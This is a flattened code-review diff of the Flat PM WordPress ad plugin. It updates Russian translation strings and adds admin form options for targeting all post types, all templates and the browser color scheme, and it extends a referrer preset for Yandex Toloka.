path/blocks/edit/user.php:4831149 #: path/blocks/add/user.php:453 path/blocks/edit/user.php:488 1126 1150 msgid "" 1127 1151 "If a parameter can take several values, then after the equal sign, indicate " … … 1133 1157 "value2 | value3</код>" 1134 1158 1135 #: path/blocks/add/user.php:45 1 path/blocks/edit/user.php:4861136 #: path/folders/edit/user.php:4 861159 #: path/blocks/add/user.php:456 path/blocks/edit/user.php:491 1160 #: path/folders/edit/user.php:491 1137 1161 msgid "" 1138 1162 "If the value of cookies should be empty, do not write anything after the " … … 1142 1166 "пишите, но сам знак нужен!" 1143 1167 1144 #: path/blocks/add/user.php:45 3 path/blocks/edit/user.php:4881145 #: path/folders/edit/user.php:4 881168 #: path/blocks/add/user.php:458 path/blocks/edit/user.php:493 1169 #: path/folders/edit/user.php:493 1146 1170 msgid "" 1147 1171 "If it doesn't matter what value cookies take, then you don't need to put a " … … 1151 1175 "нужно!" 1152 1176 1153 #: path/blocks/add/user.php:46 1 path/blocks/add/user.php:4661154 #: path/blocks/edit/user.php: 496 path/blocks/edit/user.php:5011155 #: path/folders/edit/user.php: 496 path/folders/edit/user.php:5011177 #: path/blocks/add/user.php:466 path/blocks/add/user.php:471 1178 #: path/blocks/edit/user.php:501 path/blocks/edit/user.php:506 1179 #: path/folders/edit/user.php:501 path/folders/edit/user.php:506 1156 1180 msgid "For example: key = value" 1157 1181 msgstr "Например: key = value" 1158 1182 1159 #: path/blocks/add/user.php:47 4 path/blocks/edit/user.php:5091160 #: path/folders/edit/user.php:5 09path/folders/folder/bulk-edit/user.php:871183 #: path/blocks/add/user.php:479 path/blocks/edit/user.php:514 1184 #: path/folders/edit/user.php:514 path/folders/folder/bulk-edit/user.php:87 1161 1185 msgid "Date:" 1162 1186 msgstr "Дата:" 1163 1187 1164 #: path/blocks/add/user.php:49 2 path/blocks/add/user.php:5221165 #: path/blocks/edit/user.php:5 27 path/blocks/edit/user.php:5571166 #: path/folders/edit/user.php:5 27 path/folders/edit/user.php:5571188 #: path/blocks/add/user.php:497 path/blocks/add/user.php:527 1189 #: path/blocks/edit/user.php:532 path/blocks/edit/user.php:562 1190 #: path/folders/edit/user.php:532 path/folders/edit/user.php:562 1167 1191 msgid "Start from:" 1168 1192 msgstr "Начинать c:" 1169 1193 1170 #: path/blocks/add/user.php: 496 path/blocks/add/user.php:5261171 #: path/blocks/edit/user.php:53 1 path/blocks/edit/user.php:5611172 #: path/folders/edit/user.php:53 1 path/folders/edit/user.php:5611194 #: path/blocks/add/user.php:501 path/blocks/add/user.php:531 1195 #: path/blocks/edit/user.php:536 path/blocks/edit/user.php:566 1196 #: path/folders/edit/user.php:536 path/folders/edit/user.php:566 1173 1197 msgid "Finish in:" 1174 1198 msgstr "Заканчивать в:" 1175 1199 1176 #: path/blocks/add/user.php:50 4 path/blocks/edit/user.php:5391177 #: path/folders/edit/user.php:5 39path/folders/folder/bulk-edit/user.php:981200 #: path/blocks/add/user.php:509 path/blocks/edit/user.php:544 1201 #: path/folders/edit/user.php:544 path/folders/folder/bulk-edit/user.php:98 1178 1202 msgid "Time:" 1179 1203 msgstr "Время:" 1180 1204 1181 #: path/blocks/add/user.php:53 4 path/blocks/edit/user.php:5691182 #: path/folders/edit/user.php:5 69path/folders/folder/bulk-edit/user.php:1091205 #: path/blocks/add/user.php:539 path/blocks/edit/user.php:574 1206 #: path/folders/edit/user.php:574 path/folders/folder/bulk-edit/user.php:109 1183 1207 msgid "Schedule:" 1184 1208 msgstr "Расписание:" 1185 1209 1186 #: path/blocks/add/user.php:55 1 path/blocks/edit/user.php:5861187 #: path/folders/edit/user.php:5 861210 #: path/blocks/add/user.php:556 path/blocks/edit/user.php:591 1211 #: path/folders/edit/user.php:591 1188 1212 msgid "" 1189 1213 "When enabled, this ad will be shown on the selected days of the week at the " … … 1193 1217 "дни недели в выбранное время в часовом поясе GMT+0." 1194 1218 1195 #: path/blocks/add/user.php:55 3 path/blocks/edit/user.php:5881196 #: path/folders/edit/user.php:5 881219 #: path/blocks/add/user.php:558 path/blocks/edit/user.php:593 1220 #: path/folders/edit/user.php:593 1197 1221 msgid "" 1198 1222 "Please note that 1 box is 1 hour, if, for example, the box Mon 00 is " … … 1202 1226 "00, то сообщение будет показываться в понедельник с 00 до 01 часа ночи." 1203 1227 1204 #: path/blocks/add/user.php:57 1 path/blocks/edit/user.php:6061205 #: path/folders/edit/user.php:6 06path/folders/folder/bulk-edit/user.php:1201228 #: path/blocks/add/user.php:576 path/blocks/edit/user.php:611 1229 #: path/folders/edit/user.php:611 path/folders/folder/bulk-edit/user.php:120 1206 1230 msgid "User role on the site:" 1207 1231 msgstr "Роль пользователя на сайте:" 1208 1232 1209 #: path/blocks/add/user.php:5 89 path/blocks/add/user.php:6011210 #: path/blocks/edit/user.php:62 4 path/blocks/edit/user.php:6441211 #: path/folders/edit/user.php:62 4 path/folders/edit/user.php:6441233 #: path/blocks/add/user.php:594 path/blocks/add/user.php:606 1234 #: path/blocks/edit/user.php:629 path/blocks/edit/user.php:649 1235 #: path/folders/edit/user.php:629 path/folders/edit/user.php:649 1212 1236 msgid "Select Roles" 1213 1237 msgstr "Выберите роли" 1214 1238 1215 #: path/blocks/add/user.php:6 16 path/blocks/edit/user.php:6671216 #: path/folders/edit/user.php:6 67path/folders/folder/bulk-edit/user.php:1311239 #: path/blocks/add/user.php:621 path/blocks/edit/user.php:672 1240 #: path/folders/edit/user.php:672 path/folders/folder/bulk-edit/user.php:131 1217 1241 msgid "User-agent:" 1218 1242 msgstr "User-agent:" 1219 1243 1220 #: path/blocks/add/user.php:63 4 path/blocks/edit/user.php:6851221 #: path/folders/edit/user.php:6 85path/folders/folder.php:541244 #: path/blocks/add/user.php:639 path/blocks/edit/user.php:690 1245 #: path/folders/edit/user.php:690 path/folders/folder.php:54 1222 1246 #: path/settings/settings_tab/personalization.php:21 1223 1247 msgid "User-agent" 1224 1248 msgstr "User-agent" 1225 1249 1226 #: path/blocks/add/user.php:6 39 path/blocks/edit/user.php:6901227 #: path/folders/edit/user.php:69 01250 #: path/blocks/add/user.php:644 path/blocks/edit/user.php:695 1251 #: path/folders/edit/user.php:695 1228 1252 msgid "Enter each User-agent on a new line." 1229 1253 msgstr "Каждый User-agent вводить с новой строки." 1230 1254 1231 #: path/blocks/add/user.php:64 2 path/blocks/edit/user.php:6931232 #: path/folders/edit/user.php:69 31255 #: path/blocks/add/user.php:647 path/blocks/edit/user.php:698 1256 #: path/folders/edit/user.php:698 1233 1257 msgid "" 1234 1258 "The definition occurs in part of the string, i.e. you can enter only part of " … … 1238 1262 "юзер-агента,<br>например:" 1239 1263 1240 #: path/blocks/add/user.php:65 0 path/blocks/add/user.php:6551241 #: path/blocks/edit/user.php:70 1 path/blocks/edit/user.php:7061242 #: path/folders/edit/user.php:70 1 path/folders/edit/user.php:7061264 #: path/blocks/add/user.php:655 path/blocks/add/user.php:660 1265 #: path/blocks/edit/user.php:706 path/blocks/edit/user.php:711 1266 #: path/folders/edit/user.php:706 path/folders/edit/user.php:711 1243 1267 msgid "" 1244 1268 "For example: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like " … … 1248 1272 "Gecko) Chrome/77.0.3865.90 Safari/537.36" 1249 1273 1250 #: path/blocks/add/user.php:66 3 path/blocks/edit/user.php:7141251 #: path/folders/edit/user.php:71 4path/folders/folder/bulk-edit/user.php:1421274 #: path/blocks/add/user.php:668 path/blocks/edit/user.php:719 1275 #: path/folders/edit/user.php:719 path/folders/folder/bulk-edit/user.php:142 1252 1276 msgid "Browser language:" 1253 1277 msgstr "Язык браузера:" 1254 1278 1255 #: path/blocks/add/user.php:68 1 path/blocks/edit/user.php:7321256 #: path/folders/edit/user.php:73 21279 #: path/blocks/add/user.php:686 path/blocks/edit/user.php:737 1280 #: path/folders/edit/user.php:737 1257 1281 #: path/settings/settings_tab/personalization.php:22 1258 1282 msgid "Browser language" 1259 1283 msgstr "Язык браузера" 1260 1284 1261 #: path/blocks/add/user.php:6 86 path/blocks/edit/user.php:7371262 #: path/folders/edit/user.php:7 371285 #: path/blocks/add/user.php:691 path/blocks/edit/user.php:742 1286 #: path/folders/edit/user.php:742 1263 1287 msgid "Enter each language code on a new line." 1264 1288 msgstr "Введите каждый код языка с новой строки." 1265 1289 1266 #: path/blocks/add/user.php:6 89 path/blocks/edit/user.php:7401267 #: path/folders/edit/user.php:74 01290 #: path/blocks/add/user.php:694 path/blocks/edit/user.php:745 1291 #: path/folders/edit/user.php:745 1268 1292 msgid "" 1269 1293 "The definition occurs in part of the string, i.e. you can enter only part of " … … 1273 1297 "кода,<br>например:" 1274 1298 1275 #: path/blocks/add/user.php: 697 path/blocks/add/user.php:7021276 #: path/blocks/edit/user.php:7 48 path/blocks/edit/user.php:7531277 #: path/folders/edit/user.php:7 48 path/folders/edit/user.php:7531299 #: path/blocks/add/user.php:702 path/blocks/add/user.php:707 1300 #: path/blocks/edit/user.php:753 path/blocks/edit/user.php:758 1301 #: path/folders/edit/user.php:753 path/folders/edit/user.php:758 1278 1302 msgid "For example: en" 1279 1303 msgstr "Например: ru" 1280 1304 1281 #: path/blocks/add/user.php:7 06 path/blocks/edit/user.php:7571282 #: path/folders/edit/user.php:7 571305 #: path/blocks/add/user.php:711 path/blocks/edit/user.php:762 1306 #: path/folders/edit/user.php:762 1283 1307 msgid "https://mehanoid.pro/identifikatsionnye-kody-lokalizatsiy-veb-brauzera/" 1284 1308 msgstr "" 1285 1309 "https://mehanoid.pro/identifikatsionnye-kody-lokalizatsiy-veb-brauzera/" 1286 1310 1287 #: path/blocks/add/user.php:7 07 path/blocks/edit/user.php:7581288 #: path/folders/edit/user.php:7 581311 #: path/blocks/add/user.php:712 path/blocks/edit/user.php:763 1312 #: path/folders/edit/user.php:763 1289 1313 msgid "Web browser language identification codes" 1290 1314 msgstr "Коды идентификации языка веб-браузера" 1291 1315 1292 #: path/blocks/add/user.php:716 path/blocks/edit/user.php:767 1293 #: path/folders/edit/user.php:767 path/folders/folder/bulk-edit/user.php:153 1316 #: path/blocks/add/user.php:721 path/blocks/edit/user.php:772 1317 #: path/folders/edit/user.php:772 1318 msgid "Browser color-scheme:" 1319 msgstr "Цветовая схема браузера:" 1320 1321 #: path/blocks/add/user.php:739 path/blocks/add/user.php:751 1322 #: path/blocks/edit/user.php:790 path/blocks/edit/user.php:810 1323 #: path/folders/edit/user.php:790 path/folders/edit/user.php:810 1324 msgid "Select color scheme" 1325 msgstr "Выберите цветовую схему" 1326 1327 #: path/blocks/add/user.php:766 path/blocks/edit/user.php:833 1328 #: path/folders/edit/user.php:833 path/folders/folder/bulk-edit/user.php:153 1294 1329 msgid "Blocking by IP:" 1295 1330 msgstr "Блокировка по IP:" 1296 1331 1297 #: path/blocks/add/user.php:7 33 path/blocks/edit/user.php:7841298 #: path/folders/edit/user.php: 7841332 #: path/blocks/add/user.php:783 path/blocks/edit/user.php:850 1333 #: path/folders/edit/user.php:850 1299 1334 msgid "" 1300 1335 "The list of ips to block is filled in the <code>Blacklist IP</code> section " … … 1304 1339 "или в файле" 1305 1340 1306 #: path/blocks/add/user.php:7 34 path/blocks/edit/user.php:7851307 #: path/folders/edit/user.php: 785path/settings/block_ip.php:321341 #: path/blocks/add/user.php:784 path/blocks/edit/user.php:851 1342 #: path/folders/edit/user.php:851 path/settings/block_ip.php:32 1308 1343 msgid "You can also use a range for the IP address, for example:" 1309 1344 msgstr "Вы также можете использовать диапазон IP-адресов, например:" 1310 1345 1311 #: path/blocks/add/user.php:7 36 path/blocks/edit/user.php:7871312 #: path/folders/edit/user.php: 787path/settings/block_ip.php:351346 #: path/blocks/add/user.php:786 path/blocks/edit/user.php:853 1347 #: path/folders/edit/user.php:853 path/settings/block_ip.php:35 1313 1348 msgid "Your IP:" 1314 1349 msgstr "Ваш IP:" … … 2823 2858 msgstr "Нажмите, чтобы переключить" 2824 2859 2825 #: path/functions/flat-core.php:4 892860 #: path/functions/flat-core.php:493 2826 2861 msgid "" 2827 2862 "<p style=\"margin:0\">You have a free version, <a href=\"https://mehanoid." … … 2835 2870 "PRO</a>?</p>" 2836 2871 2837 #: path/functions/flat-core.php:49 12872 #: path/functions/flat-core.php:495 2838 2873 msgid "" 2839 2874 "<p style=\"margin:0 0 0 3px\">You have a <span class=\"fpm_pro_tag\">PRO " … … 2843 2878 "span> Вы восхитительны!</p>" 2844 2879 2845 #: path/functions/flat-core.php: 4982880 #: path/functions/flat-core.php:502 2846 2881 msgid "data-position=\"top\" data-tooltip=\"Available in PRO version\"" 2847 2882 msgstr "data-position=\"top\" data-tooltip=\"Доступно в PRO версии\"" 2848 2883 2849 #: path/functions/flat-core.php:62 52884 #: path/functions/flat-core.php:629 2850 2885 msgid "Flat PM:" 2851 2886 msgstr "Flat PM:" 2852 2887 2853 #: path/functions/flat-core.php:6 27path/settings/migration.php:412888 #: path/functions/flat-core.php:631 path/settings/migration.php:41 2854 2889 msgid "You have outdated data." 2855 2890 msgstr "У вас устаревшие данные." 2856 2891 2857 #: path/functions/flat-core.php:6 28path/settings/migration.php:442892 #: path/functions/flat-core.php:632 path/settings/migration.php:44 2858 2893 msgid "Probably you used the plugin before version 3.0.0" 2859 2894 msgstr "Вероятно, вы использовали плагин до версии 3.0.0" 2860 2895 2861 #: path/functions/flat-core.php:6 29path/settings/migration.php:452896 #: path/functions/flat-core.php:633 path/settings/migration.php:45 2862 2897 msgid "" 2863 2898 "The old settings are not supported by the new version, so you need to start " … … 2867 2902 "запустить процесс переноса данных!" 2868 2903 2869 #: path/functions/flat-core.php:63 22904 #: path/functions/flat-core.php:636 2870 2905 msgid "Please start the migration process immediately!" 2871 2906 msgstr "Пожалуйста, начните процесс миграции немедленно!" -
flatpm-wp/trunk/path/blocks/add/content.php
r3019186 r3021164 25 25 26 26 <div class="col s12" style="display:flex;column-gap:40px;flex-wrap:wrap"> 27 <p> 28 <label> 29 <input type="checkbox" 30 id="post_types_fpm_all" 31 name="content[post_types][all_post_types]" 32 > 33 <span><?php _e( 'All types', 'flatpm_l10n' ); ?></span> 34 </label> 35 </p> 27 36 <?php 28 37 foreach( $post_types as $type ){ … … 207 216 <p> 208 217 <label> 218 <input type="checkbox" name="content[templates][all_templates]"> 219 <span><?php _e( 'All templates', 'flatpm_l10n' ); ?></span> 220 </label> 221 </p> 222 </div> 223 <div class="col s12 m6"> 224 <p> 225 <label> 209 226 <input type="checkbox" name="content[templates][home]"> 210 227 <span><?php _e( 'Show on', 'flatpm_l10n' ); ?> <ins class="tooltipped" data-position="top" data-tooltip="is_home(), is_front_page()"><?php _e( 'homepage', 'flatpm_l10n' ); ?></ins></span> -
flatpm-wp/trunk/path/blocks/add/user.php
r3019186 r3021164 23 23 ); 24 24 25 $colorSchemes = array( 26 'light' => __( 'Light theme', 'flatpm_l10n' ), 27 'dark' => __( 'Dark theme', 'flatpm_l10n' ), 28 ); 29 25 30 global $wp_roles; 26 31 ?> … … 168 173 <?php _e( 'Yandex.Zen', 'flatpm_l10n' ); ?> 169 174 </button> 170 <button type="button" data-value="toloka. ">175 <button type="button" data-value="toloka.<?php echo PHP_EOL ?>iframe-yang.yandex<?php echo PHP_EOL ?>factorial-eval.s3.yandex.net"> 171 176 <?php _e( 'Tolokers', 'flatpm_l10n' ); ?> 172 177 </button> … … 200 205 <?php _e( 'Yandex.Zen', 'flatpm_l10n' ); ?> 201 206 </button> 202 <button type="button" data-value="toloka. ">207 <button type="button" data-value="toloka.<?php echo PHP_EOL ?>iframe-yang.yandex<?php echo PHP_EOL ?>factorial-eval.s3.yandex.net"> 203 208 <?php _e( 'Tolokers', 'flatpm_l10n' ); ?> 204 209 </button> … … 712 717 </li> 713 718 719 <li <?php if( isset( $flat_pm_personalization['block']['color-scheme'] ) && $flat_pm_personalization['block']['color-scheme'] === 'false' ){ echo 'style="display:none"'; } ?>> 720 <div class="collapsible-header"> 721 <b><?php _e( 'Browser color-scheme:', 'flatpm_l10n' ); ?></b> 722 <span class="badge"></span> 723 </div> 724 <div class="collapsible-body"> 725 <div class="switch"> 726 <label> 727 Off 728 <input class="hidden" type="checkbox" name="user[color-scheme][enabled]"> 729 <span class="lever"></span> 730 On 731 </label> 732 </div> 733 734 <br> 735 736 <div class="row" style="margin-bottom:0"> 737 <div class="input-field col s12 m6"> 738 <select multiple name="user[color-scheme][allow]" id="user_color-scheme_allow"> 739 <option value="" disabled><?php _e( 'Select color scheme', 'flatpm_l10n' ); ?></option> 740 <?php 741 foreach( $colorSchemes as $key => $value ){ 742 echo '<option value="' . esc_attr( $key ) . '">' . esc_html( $value ) . '</option>'; 743 } 744 ?> 745 </select> 746 <label><?php _e( 'Show from:', 'flatpm_l10n' ); ?></label> 747 </div> 748 749 <div class="input-field col s12 m6"> 750 <select multiple name="user[color-scheme][disallow]" id="user_color-scheme_disallow"> 751 <option value="" disabled><?php _e( 'Select color scheme', 'flatpm_l10n' ); ?></option> 752 <?php 753 foreach( $colorSchemes as $key => $value ){ 754 echo '<option value="' . esc_attr( $key ) . '">' . esc_html( $value ) . '</option>'; 755 } 756 ?> 757 </select> 758 <label><?php _e( 'Hide from:', 'flatpm_l10n' ); ?></label> 759 </div> 760 </div> 761 </div> 762 </li> 763 714 764 <li <?php if( $flat_pm_personalization['block']['ip'] === 'false' ){ echo 'style="display:none"'; } ?>> 715 765 <div class="collapsible-header"> -
flatpm-wp/trunk/path/blocks/edit/content.php
r3019186 r3021164 7 7 $id = sanitize_text_field( $_GET['id'] ); 8 8 $content = get_post_meta( $id, 'content', true ); 9 10 if( ! isset( $content['post_types']['all_post_types'] ) ){ 11 $content['post_types']['all_post_types'] = 'false'; 12 } 13 if( ! isset( $content['templates']['all_templates'] ) ){ 14 $content['templates']['all_templates'] = 'false'; 15 } 9 16 10 17 $users = get_users( array( … … 28 35 29 36 <div class="col s12" style="display:flex;column-gap:40px;flex-wrap:wrap"> 37 <p> 38 <label> 39 <input type="checkbox" 40 id="post_types_fpm_all" 41 name="content[post_types][all_post_types]" 42 <?php echo $content['post_types']['all_post_types'] === 'true' ? 'checked' : '' ?> 43 > 44 <span><?php _e( 'All types', 'flatpm_l10n' ); ?></span> 45 </label> 46 </p> 30 47 <?php 31 48 foreach( $post_types as $type ){ … … 38 55 id="post_types_' . esc_attr( $type->name ) . '" 39 56 name="content[post_types][' . esc_attr( $type->name ) . ']" 40 ' . ( ( isset( $content['post_types'][ $type->name ] ) && $content['post_types'][ $type->name ] === 'true' ) ? 'checked' : '' ) . '57 ' . ( ( isset( $content['post_types'][ $type->name ] ) && $content['post_types'][ $type->name ] === 'true' ) || $content['post_types']['all_post_types'] === 'true' ? 'checked' : '' ) . ' 41 58 > 42 59 <span>' . esc_html( $type->labels->name ) . '</span> … … 342 359 <p> 343 360 <label> 361 <input type="checkbox" name="content[templates][all_templates]" 362 <?php if( $content['templates']['all_templates'] === 'true' ) echo 'checked'; ?> 363 > 364 <span><?php _e( 'All templates', 'flatpm_l10n' ); ?></span> 365 </label> 366 </p> 367 </div> 368 <div class="col s12 m6"> 369 <p> 370 <label> 344 371 <input type="checkbox" name="content[templates][home]" 345 <?php if( $content['templates']['home'] === 'true' ) echo 'checked'; ?>372 <?php if( $content['templates']['home'] === 'true' || $content['templates']['all_templates'] === 'true' ) echo 'checked'; ?> 346 373 > 347 374 <span><?php _e( 'Show on', 'flatpm_l10n' ); ?> <ins class="tooltipped" data-position="top" data-tooltip="is_home(), is_front_page()"><?php _e( 'homepage', 'flatpm_l10n' ); ?></ins></span> … … 353 380 <label> 354 381 <input type="checkbox" name="content[templates][singular]" 355 <?php if( $content['templates']['singular'] === 'true' ) echo 'checked'; ?>382 <?php if( $content['templates']['singular'] === 'true' || $content['templates']['all_templates'] === 'true' ) echo 'checked'; ?> 356 383 > 357 384 <span><?php _e( 'Show on', 'flatpm_l10n' ); ?> <ins class="tooltipped" data-position="top" data-tooltip="is_singular()"><?php _e( 'singular', 'flatpm_l10n' ); ?></ins></span> … … 363 390 <label> 364 391 <input type="checkbox" name="content[templates][archives]" 365 <?php if( $content['templates']['archives'] === 'true' ) echo 'checked'; ?>392 <?php if( $content['templates']['archives'] === 'true' || $content['templates']['all_templates'] === 'true' ) echo 'checked'; ?> 366 393 > 367 394 <span><?php _e( 'Show in', 'flatpm_l10n' ); ?> <ins class="tooltipped" data-position="top" data-tooltip="is_archive()"><?php _e( 'archives', 'flatpm_l10n' ); ?></ins></span> … … 373 400 <label> 374 401 <input type="checkbox" name="content[templates][categories]" 375 <?php if( $content['templates']['categories'] === 'true' ) echo 'checked'; ?>402 <?php if( $content['templates']['categories'] === 'true' || $content['templates']['all_templates'] === 'true' ) echo 'checked'; ?> 376 403 > 377 404 <span><?php _e( 'Show in', 'flatpm_l10n' ); ?> <ins class="tooltipped" data-position="top" data-tooltip="is_category(), is_tax()"><?php _e( 'categories', 'flatpm_l10n' ); ?></ins></span> … … 383 410 <label> 384 411 <input type="checkbox" name="content[templates][search]" 385 <?php if( $content['templates']['search'] === 'true' ) echo 'checked'; ?>412 <?php if( $content['templates']['search'] === 'true' || $content['templates']['all_templates'] === 'true' ) echo 'checked'; ?> 386 413 > 387 414 <span><?php _e( 'Show on', 'flatpm_l10n' ); ?> <ins class="tooltipped" data-position="top" data-tooltip="is_search()"><?php _e( 'search page', 'flatpm_l10n' ); ?></ins></span> … … 393 420 <label> 394 421 <input type="checkbox" name="content[templates][404]" 395 <?php if( $content['templates']['404'] === 'true' ) echo 'checked'; ?>422 <?php if( $content['templates']['404'] === 'true' || $content['templates']['all_templates'] === 'true' ) echo 'checked'; ?> 396 423 > 397 424 <span><?php _e( 'Show on', 'flatpm_l10n' ); ?> <ins class="tooltipped" data-position="top" data-tooltip="is_404()"><?php _e( 'page 404 errors', 'flatpm_l10n' ); ?></ins></span> … … 403 430 <label> 404 431 <input type="checkbox" name="content[templates][paged]" 405 <?php if( $content['templates']['paged'] === 'true' ) echo 'checked'; ?>432 <?php if( $content['templates']['paged'] === 'true' || $content['templates']['all_templates'] === 'true' ) echo 'checked'; ?> 406 433 > 407 434 <span><?php _e( 'Show on', 'flatpm_l10n' ); ?> <ins class="tooltipped" data-position="top" data-tooltip="is_paged()"><?php _e( 'pagination page', 'flatpm_l10n' ); ?></ins></span> -
flatpm-wp/trunk/path/blocks/edit/user.php
r3019186 r3021164 26 26 ); 27 27 28 $colorSchemes = array( 29 'light' => __( 'Light theme', 'flatpm_l10n' ), 30 'dark' => __( 'Dark theme', 'flatpm_l10n' ), 31 ); 32 28 33 global $wp_roles; 29 34 ?> … … 171 176 <?php _e( 'Yandex.Zen', 'flatpm_l10n' ); ?> 172 177 </button> 173 <button type="button" data-value="toloka. ">178 <button type="button" data-value="toloka.<?php echo PHP_EOL ?>iframe-yang.yandex<?php echo PHP_EOL ?>factorial-eval.s3.yandex.net"> 174 179 <?php _e( 'Tolokers', 'flatpm_l10n' ); ?> 175 180 </button> … … 203 208 <?php _e( 'Yandex.Zen', 'flatpm_l10n' ); ?> 204 209 </button> 205 <button type="button" data-value="toloka. ">210 <button type="button" data-value="toloka.<?php echo PHP_EOL ?>iframe-yang.yandex<?php echo PHP_EOL ?>factorial-eval.s3.yandex.net"> 206 211 <?php _e( 'Tolokers', 'flatpm_l10n' ); ?> 207 212 </button> … … 763 768 </li> 764 769 770 <li <?php if( isset( $flat_pm_personalization['block']['color-scheme'] ) && $flat_pm_personalization['block']['color-scheme'] === 'false' ){ echo 'style="display:none"'; } ?>> 771 <div class="collapsible-header"> 772 <b><?php _e( 'Browser color-scheme:', 'flatpm_l10n' ); ?></b> 773 <span class="badge"></span> 774 </div> 775 <div class="collapsible-body"> 776 <div class="switch"> 777 <label> 778 Off 779 <input class="hidden" type="checkbox" name="user[color-scheme][enabled]" <?php if( isset( $user['color-scheme'] ) && $user['color-scheme']['enabled'] === 'true') echo 'checked'; ?>> 780 <span class="lever"></span> 781 On 782 </label> 783 </div> 784 785 <br> 786 787 <div class="row" style="margin-bottom:0"> 788 <div class="input-field col s12 m6"> 789 <select multiple name="user[color-scheme][allow]" id="user_color-scheme_allow"> 790 <option value="" disabled><?php _e( 'Select color scheme', 'flatpm_l10n' ); ?></option> 791 <?php 792 if( !empty( $user['color-scheme']['allow'] ) && is_array( $user['color-scheme']['allow'] ) ){ 793 foreach( $colorSchemes as $key => $value ){ 794 $selected = ( in_array( $key , $user['color-scheme']['allow'] ) ) ? 'selected' : ''; 795 796 echo '<option ' . esc_attr( $selected ) . ' value="' . esc_attr( $key ) . '">' . esc_html( $value ) . '</option>'; 797 } 798 }else{ 799 foreach( $colorSchemes as $key => $value ){ 800 echo '<option value="' . esc_attr( $key ) . '">' . esc_html( $value ) . '</option>'; 801 } 802 } 803 ?> 804 </select> 805 <label><?php _e( 'Show from:', 'flatpm_l10n' ); ?></label> 806 </div> 807 808 <div class="input-field col s12 m6"> 809 <select multiple name="user[color-scheme][disallow]" id="user_color-scheme_disallow"> 810 <option value="" disabled><?php _e( 'Select color scheme', 'flatpm_l10n' ); ?></option> 811 <?php 812 if( !empty( $user['color-scheme']['disallow'] ) && is_array( $user['color-scheme']['disallow'] ) ){ 813 foreach( $colorSchemes as $key => $value ){ 814 $selected = ( in_array( $key , $user['color-scheme']['disallow'] ) ) ? 'selected' : ''; 815 816 echo '<option ' . esc_attr( $selected ) . ' value="' . esc_attr( $key ) . '">' . esc_html( $value ) . '</option>'; 817 } 818 }else{ 819 foreach( $colorSchemes as $key => $value ){ 820 echo '<option value="' . esc_attr( $key ) . '">' . esc_html( $value ) . '</option>'; 821 } 822 } 823 ?> 824 </select> 825 <label><?php _e( 'Hide from:', 'flatpm_l10n' ); ?></label> 826 </div> 827 </div> 828 </div> 829 </li> 830 765 831 <li <?php if( $flat_pm_personalization['block']['ip'] === 'false' ){ echo 'style="display:none"'; } ?>> 766 832 <div class="collapsible-header"> -
flatpm-wp/trunk/path/folders/edit/content.php
r3019186 r3021164 12 12 13 13 $content = $dafault_folder_setting['content']; 14 } 15 16 if( ! isset( $content['post_types']['all_post_types'] ) ){ 17 $content['post_types']['all_post_types'] = 'false'; 18 } 19 if( ! isset( $content['templates']['all_templates'] ) ){ 20 $content['templates']['all_templates'] = 'false'; 14 21 } 15 22 … … 34 41 35 42 <div class="col s12" style="display:flex;column-gap:40px;flex-wrap:wrap"> 43 <p> 44 <label> 45 <input type="checkbox" 46 id="post_types_fpm_all" 47 name="content[post_types][all_post_types]" 48 <?php echo $content['post_types']['all_post_types'] === 'true' ? 'checked' : '' ?> 49 > 50 <span><?php _e( 'All types', 'flatpm_l10n' ); ?></span> 51 </label> 52 </p> 36 53 <?php 37 54 foreach( $post_types as $type ){ … … 44 61 id="post_types_' . esc_attr( $type->name ) . '" 45 62 name="content[post_types][' . esc_attr( $type->name ) . ']" 46 ' . ( ( isset( $content['post_types'][ $type->name ] ) && $content['post_types'][ $type->name ] === 'true' ) ? 'checked' : '' ) . '63 ' . ( ( isset( $content['post_types'][ $type->name ] ) && $content['post_types'][ $type->name ] === 'true' ) || $content['post_types']['all_post_types'] === 'true' ? 'checked' : '' ) . ' 47 64 > 48 65 <span>' . esc_html( $type->labels->name ) . '</span> … … 348 365 <p> 349 366 <label> 367 <input type="checkbox" name="content[templates][all_templates]" 368 <?php if( $content['templates']['all_templates'] === 'true' ) echo 'checked'; ?> 369 > 370 <span><?php _e( 'All templates', 'flatpm_l10n' ); ?></span> 371 </label> 372 </p> 373 </div> 374 <div class="col s12 m6"> 375 <p> 376 <label> 350 377 <input type="checkbox" name="content[templates][home]" 351 <?php if( $content['templates']['home'] === 'true' ) echo 'checked'; ?>378 <?php if( $content['templates']['home'] === 'true' || $content['templates']['all_templates'] === 'true' ) echo 'checked'; ?> 352 379 > 353 380 <span><?php _e( 'Show on', 'flatpm_l10n' ); ?> <ins class="tooltipped" data-position="top" data-tooltip="is_home(), is_front_page()"><?php _e( 'homepage', 'flatpm_l10n' ); ?></ins></span> … … 359 386 <label> 360 387 <input type="checkbox" name="content[templates][singular]" 361 <?php if( $content['templates']['singular'] === 'true' ) echo 'checked'; ?>388 <?php if( $content['templates']['singular'] === 'true' || $content['templates']['all_templates'] === 'true' ) echo 'checked'; ?> 362 389 > 363 390 <span><?php _e( 'Show on', 'flatpm_l10n' ); ?> <ins class="tooltipped" data-position="top" data-tooltip="is_singular()"><?php _e( 'singular', 'flatpm_l10n' ); ?></ins></span> … … 369 396 <label> 370 397 <input type="checkbox" name="content[templates][archives]" 371 <?php if( $content['templates']['archives'] === 'true' ) echo 'checked'; ?>398 <?php if( $content['templates']['archives'] === 'true' || $content['templates']['all_templates'] === 'true' ) echo 'checked'; ?> 372 399 > 373 400 <span><?php _e( 'Show in', 'flatpm_l10n' ); ?> <ins class="tooltipped" data-position="top" data-tooltip="is_archive()"><?php _e( 'archives', 'flatpm_l10n' ); ?></ins></span> … … 379 406 <label> 380 407 <input type="checkbox" name="content[templates][categories]" 381 <?php if( $content['templates']['categories'] === 'true' ) echo 'checked'; ?>408 <?php if( $content['templates']['categories'] === 'true' || $content['templates']['all_templates'] === 'true' ) echo 'checked'; ?> 382 409 > 383 410 <span><?php _e( 'Show in', 'flatpm_l10n' ); ?> <ins class="tooltipped" data-position="top" data-tooltip="is_category(), is_tax()"><?php _e( 'categories', 'flatpm_l10n' ); ?></ins></span> … … 389 416 <label> 390 417 <input type="checkbox" name="content[templates][search]" 391 <?php if( $content['templates']['search'] === 'true' ) echo 'checked'; ?>418 <?php if( $content['templates']['search'] === 'true' || $content['templates']['all_templates'] === 'true' ) echo 'checked'; ?> 392 419 > 393 420 <span><?php 